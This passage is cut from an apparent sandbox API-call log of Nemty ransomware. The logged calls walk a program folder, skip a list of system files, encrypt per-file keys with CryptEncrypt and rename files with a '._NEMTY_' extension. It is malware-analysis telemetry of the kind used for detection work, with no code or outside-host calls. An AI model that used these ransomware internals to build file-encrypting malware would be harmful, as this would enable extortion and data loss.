lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0094.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0094.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0094.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0094.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0094.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0094.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0094.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0094.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0094.287] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv._nemty_kgobjgd_")) returned 0 [0094.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0094.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0094.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0094.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0094.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0094.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0094.287] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x58bf8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="passportcover.png", cAlternateFileName="")) returned 1 [0094.287] lstrcmpiW (lpString1="passportcover.png", lpString2=".") returned 1 [0094.287] lstrcmpiW (lpString1="passportcover.png", lpString2="..") returned 1 [0094.287] lstrcmpiW (lpString1="passportcover.png", lpString2="...") returned 1 [0094.287] lstrcmpiW (lpString1="passportcover.png", lpString2="windows") returned -1 [0094.287] lstrcmpiW (lpString1="passportcover.png", lpString2="$RECYCLE.BIN") returned 1 [0094.287] lstrcmpiW (lpString1="passportcover.png", lpString2="rsa") returned -1 [0094.287] lstrcmpiW (lpString1="passportcover.png", lpString2="NTDETECT.COM") returned 1 [0094.287] lstrcmpiW (lpString1="passportcover.png", lpString2="ntldr") returned 1 [0094.287] lstrcmpiW (lpString1="passportcover.png", lpString2="MSDOS.SYS") returned 1 [0094.287] lstrcmpiW (lpString1="passportcover.png", lpString2="IO.SYS") returned 1 [0094.287] lstrcmpiW (lpString1="passportcover.png", lpString2="boot.ini") returned 1 [0094.287] lstrcmpiW (lpString1="passportcover.png", lpString2="boot.ini") returned 1 [0094.288] lstrcmpiW (lpString1="passportcover.png", lpString2="AUTOEXEC.BAT") returned 1 [0094.288] lstrcmpiW (lpString1="passportcover.png", lpString2="ntuser.dat") returned 1 [0094.288] lstrcmpiW (lpString1="passportcover.png", lpString2="desktop.ini") returned 1 [0094.288] lstrcmpiW (lpString1="passportcover.png", lpString2="CONFIG.SYS") returned 1 [0094.288] lstrcmpiW (lpString1="passportcover.png", lpString2="RECYCLER") returned -1 [0094.288] lstrcmpiW (lpString1="passportcover.png", lpString2="BOOTSECT.BAK") returned 1 [0094.288] lstrcmpiW (lpString1="passportcover.png", lpString2="bootmgr") returned 1 [0094.288] lstrcmpiW (lpString1="passportcover.png", lpString2="programdata") returned -1 [0094.288] lstrcmpiW (lpString1="passportcover.png", lpString2="appdata") returned 1 [0094.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passportcover.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0094.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passportcover.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passportcover.png", lpUsedDefaultChar=0x0) returned 17 [0094.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0094.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passportcover.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0094.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passportcover.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passportcover.png", lpUsedDefaultChar=0x0) returned 17 [0094.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0094.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passportcover.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0094.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passportcover.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passportcover.png", lpUsedDefaultChar=0x0) returned 17 [0094.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passportcover.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0094.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0094.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passportcover.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passportcover.png", lpUsedDefaultChar=0x0) returned 17 [0094.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0094.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0094.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0094.288] Sleep (dwMilliseconds=0x5) [0094.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xebda9c90, dwHighDateTime=0x1d561e7)) [0094.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xebda9c90, dwHighDateTime=0x1d561e7)) [0094.300] GetLastError () returned 0x5 [0094.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0094.300] GetLastError () returned 0x5 [0094.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0094.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0094.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0094.300] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0094.300] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0094.300] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0094.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0094.300] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="NvbgBIi5ZT0tuLxZmKJlxFP/mdIG4udbUuvqMm/vNAJ3Pt9qoOk2t4HRN3cVu/cM\r\n2nuQ3MVGHD0EDr1lSGLjaLaceuhskVcSWgiQubX/Y8d05q1RBv0ll99NQDkd/XPf\r\n1KRusw+oufCU4mD8O2yjg8T08qidnftkezzMO1c8ZpBQlJ17O9UnJvzSqwtr0e2K\r\noFK3qing9lGd5yzd+NlX3MtHEHTxqZQh/23Qxd98fcte+/iGSr4zE1NVKIqGPP3V\r\nVmWLUwFZsLxXjSvBgGVQDXDdlOMA29BEXyzRW8n+QHuHILEjh+5gtLUc4KZTmj2+\r\njS9tiehEC2DSU4pOzQCoTA==\r\n", pcchString=0x653e91c) returned 1 [0094.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0094.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0094.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0094.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0094.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0094.301] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.304] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0094.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0094.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.313] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.313] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.332] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.332] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.341] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.341] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.341] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.379] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.404] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0094.410] CloseHandle (hObject=0xffffffff) returned 0 [0094.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0094.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0094.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0094.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0094.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0094.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0094.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0094.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0094.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0094.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0094.410] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png._nemty_kgobjgd_")) returned 0 [0094.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0094.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0094.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0094.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0094.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0094.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0094.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0094.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0094.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.411] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7279a544, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7279a544, 